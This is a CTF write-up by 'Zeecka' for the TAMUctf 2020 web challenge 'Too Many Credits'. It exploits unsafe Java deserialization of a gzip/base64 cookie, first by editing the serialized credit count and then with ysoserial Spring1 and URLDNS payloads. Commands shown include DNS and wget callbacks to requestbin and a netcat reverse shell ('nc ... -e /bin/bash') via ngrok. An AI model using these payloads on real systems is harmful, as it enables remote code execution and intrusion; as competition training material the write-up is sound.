Too Many Credits

TAMUctf 2020 - Web.

TAMUctf 2020 : Too Many Credits

Challenge details

Event Challenge Category Points Solves
TAMUctf 2020 Too Many Credits Web 432 71

Description

Okay, fine, there’s a lot of credit systems. We had to put that guy on break; seriously concerned about that dude.
Anywho. We’ve made an actually secure one now, with Java, not dirty JS this time. Give it a whack?
If you get two thousand million credits again, well, we’ll just have to shut this program down.
Even if you could get the first flag, I bet you can’t pop a shell!
http://toomanycredits.tamuctf.com

TL;DR

Too Many Credits was a web challenge with an unsafe Java object deserialization vulnerability. This result into a blind RCE thanks to ysoserial.

Discover vulnerability

As a web challenge, I got to the given URL using a web browser, the index page looked like this:

index_page.png

When we click on the button, a request is send and the credit is incremented by one. Looking at the requests, we do not get any parameters. However, our cookie is changing at each request:

  • Counter: “H4sIAAA…5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==”
  • Counter: “H4sIAAA…5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAEwAKMkv7UgAAAA==”

The “Counter” cookie looks like base64 encoded data. Let’s decode it:

echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==" | base64 -d
[󖁵��A79?W/�(5%�����OI��s��K�J�8o
                                �p��310z1��%攦V0@#�cBbR

… Maybe the data is compressed ? Let’s try gzip compression (note that if you try to edit your cookie with random value, you got a gzip error on the website). I decided to use gzip/gunzip :

echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==" | base64 -d | gunzip
��sr-com.credits.credits.credits.model.CreditCount2	�	$GJvaluexp

Bingo ! It looks like a Java serialized object. Lets see the difference between our two first cookies. Since we got non printable characters, I decided to get the hexadecimal view of each data using xxd:

echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==" | base64 -d | gunzip | xxd > c1.raw
echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAEwAKMkv7UgAAAA==" | base64 -d | gunzip | xxd > c2.raw
cat c1.raw c2.raw
00000000: aced 0005 7372 002d 636f 6d2e 6372 6564  ....sr.-com.cred
00000010: 6974 732e 6372 6564 6974 732e 6372 6564  its.credits.cred
00000020: 6974 732e 6d6f 6465 6c2e 4372 6564 6974  its.model.Credit
00000030: 436f 756e 7432 09db 1214 0924 4702 0001  Count2.....$G...
00000040: 4a00 0576 616c 7565 7870 0000 0000 0000  J..valuexp......
00000050: 0001                                     ..
00000000: aced 0005 7372 002d 636f 6d2e 6372 6564  ....sr.-com.cred
00000010: 6974 732e 6372 6564 6974 732e 6372 6564  its.credits.cred
00000020: 6974 732e 6d6f 6465 6c2e 4372 6564 6974  its.model.Credit
00000030: 436f 756e 7432 09db 1214 0924 4702 0001  Count2.....$G...
00000040: 4a00 0576 616c 7565 7870 0000 0000 0000  J..valuexp......
00000050: 0002

See c1.raw & c2.raw

The cookies are similars except for the last byte, we got 01 for our first cookie (when we got only 1 credit) and 02 for our second cookie (when we got 2 credits).

Exploiting vulnerability

The challenge say “If you get two thousand million credits again, well, we’ll just have to shut this program down.”. The 8 last bytes seems to store our credit, lets create a cookie with two thousand million credits like mentionned in the description:

python3 -c "print(hex(200000000))"
0xbebc200

Our 8 last bytes will be 0000 0000 0beb c200.
Just save your cookie without the xxd command and use an hexadecimal editor (like hexedit or an online editor like hexed.it)

echo "H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==" | base64 -d | gunzip > cookie.raw
hexedit cookie.raw

hexedit.png

Now encode your new cookie using gzip and base64:

cat cookie.raw | gzip | base64 -w 0

Note: I use option -w 0 to avoid line break in base64

H4sIAAAAAAAAA1vzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMAAB9+tDDACqXj+eUgAAAA==

Lets replace our cookie in our browser, and…

You have 200000001 credits. You haven’t won yet…

Ok, not enough, the description is wrong ! Let’s try with a huge value like 0000 efff ffff ffff !

hexedit2.png

See cookie.raw

Encode it again…

cat cookie.raw | gzip | base64 -w 0
H4sIAAAAAAAAA1vzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMDC8/w8CAB4diOZSAAAA

Replace the counter cookie with the value. And…

flag1.png

We got first flag !
gigem{l0rdy_th15_1s_mAny_cr3d1ts}

Attempt command execution

As mentioned by the challenge description: Even if you could get the first flag, I bet you can’t pop a shell!. So we’re looking for a shell.

First try

The most known tool to exploit unsafe Java object deserialization is ysoserial. Looking at the website “favicon” we can guess that the website is using Spring technology. Spring also provide gadged used by ysoserial to build Java ROPchain (see Spring1 and Spring2 in ysoserial help).

After few tests using ysoserial and python bruteforcing payloads, I didn’t manage to execute a command on the server (even simple sleep didn’t worked for me).

Try harder

I decided to test the Burp extension: Java Deserialization Scanner.

So I launched the scanner: right click on proxy request, send to "DS - Manual testing", select the cookie and "Set Insertion Point", then click on "Attack (Base64Gzip)". You can also use the scanner module on the Target tab.

burp1.png

Result:

scan.png

Spring “Sleep” payload seems to work ! Maybe it’s a false positive since I didn’t manage to get a sleep command using ysoserial ? I decided to dig into the plugin options and selected "DNS" for exfiltration tests:

options.png

Result:

scan2.png

According to the plugin, Spring DNS exfiltration seems to work too!

Few research

Since I didn’t know if TCP query were blocked or not, I decided to trigger a simple DNS query (UDP).

After few search, I found this blog which use the URLDNS ysoserial payload to perform DNS query. I decided to use it because the code is quite short and there might be a size limit on the server.
Note: I didn’t manage to make the URLDNS payload work at first because URLDNS do not ask for a command as a parameter but ask for a domain.

To listen to DNS query you can either use your own VPS, use a tool like ngrok or use a web service like DNSBin. I decided to use the last one and created my endpoint: *.3a312e6656771abaf0d7.d.requestbin.net.
Note: I had to unset my proxy because burp failed with requestbin websocket.

Lets generate our payload with ysoserial:

ysoserial URLDNS "http://TEST.3a312e6656771abaf0d7.d.requestbin.net" | gzip | base64 -w 0
H4sIAAAAAAAAA42OMU7DQBBFBxwrDkoBFBT0NBRrTIQtQQESIsKSaUjomcTr7KKVd7MeE9NwDE7BJRAnoKWm5QZIsI58AEaa0Zviv5nXb/ArCzsP+IisJqnYNVbiBo3f/3x737v/8GBzDFtKYz7GOWmbwoCE5ZXQKm/M+QW0NVwFbm673nCy4VpWcmJ3t9nLQRLv/3xZD/opBMLJL3XOU+gZbSmDAdYktJX0RLCbtcFQYbkIJ2RluTjLoFdIxZfwDJ5joSvqODBWk55r1e2e5cUaG/PbFcHh9GoyZSMcRcc8jk/iJIlwhsVRnrCcWb6seUUzWba/EkAb98ldITKmIYhaOA3D/0uaPw/LxeVPAQA

I changed my cookie, reload, and…

dns.png

Ok so we got a DNS exfiltration with ysoserial ! 😊.

Blind Remote Code Execution

I decided to try a DNS resolution with wget command and Spring payloads. I started with Spring1.

ysoserial Spring1 "wget http://TEST2.3a312e6656771abaf0d7.d.requestbin.net" | gzip | base64 -w 0

Then load base64 as “Counter” cookie, reload, and…

test2.png

Ok, now we have a proof that a DNS resolution is performed using wget. We’ll now verify if we can make a web HTTP request using wget. For this, I setted up a requestbin endpoint: http://requestbin.net/r/1i6494x1.

Let’s try our web request:

ysoserial Spring1 "wget http://requestbin.net/r/1i6494x1?test=test1" | gzip | base64 -w 0

Then load base64 as “Counter” cookie, reload, and…

http.png

We have a proof that web request are working. We’re close to the reverse shell, I decided to try a reverse shell using netcat on the target and a ngrok listener on my computer (since people may not have VPS).

First, setup the listner:

ngrok tcp 1337
nc -lvp 1337  # in an other terminal

On the ngrok terminal I got: tcp://0.tcp.ngrok.io:13738 -> localhost:1337 which mean that data sent to ngrok on port 13738 is forwarded to my computer on port 1337.

I’ll use the following netcat reverse shell payload:

nc <IP> <PORT> -e /bin/bash

For me it’ll be my ngrok endpoint with port 13738:

nc 0.tcp.ngrok.io 13738 -e /bin/bash

The payload should connect to my ngrok an execute the bash binary through this socket.
Now let’s build our object with ysoserial:

ysoserial Spring1 "nc 0.tcp.ngrok.io 13738 -e /bin/bash" | gzip | base64 -w 0

Load base64 as “Counter” cookie, reload, and… we got a shell !

nc.png

Note: we got user credits on folder /opt/credits-1.0.0-SNAPSHOT with a file named flag.txt on current folder.

Flag 2: gigem{da$h_3_1s_A_l1f3seNd}

Flags

gigem{l0rdy_th15_1s_mAny_cr3d1ts}
gigem{da$h_3_1s_A_l1f3seNd}

It was a nice challenge. I got stuck at the beggining of part 2 because of the blind RCE and the fact that even sleep command didn’t work for me, that’s why I decided to dig deeper.

Zeecka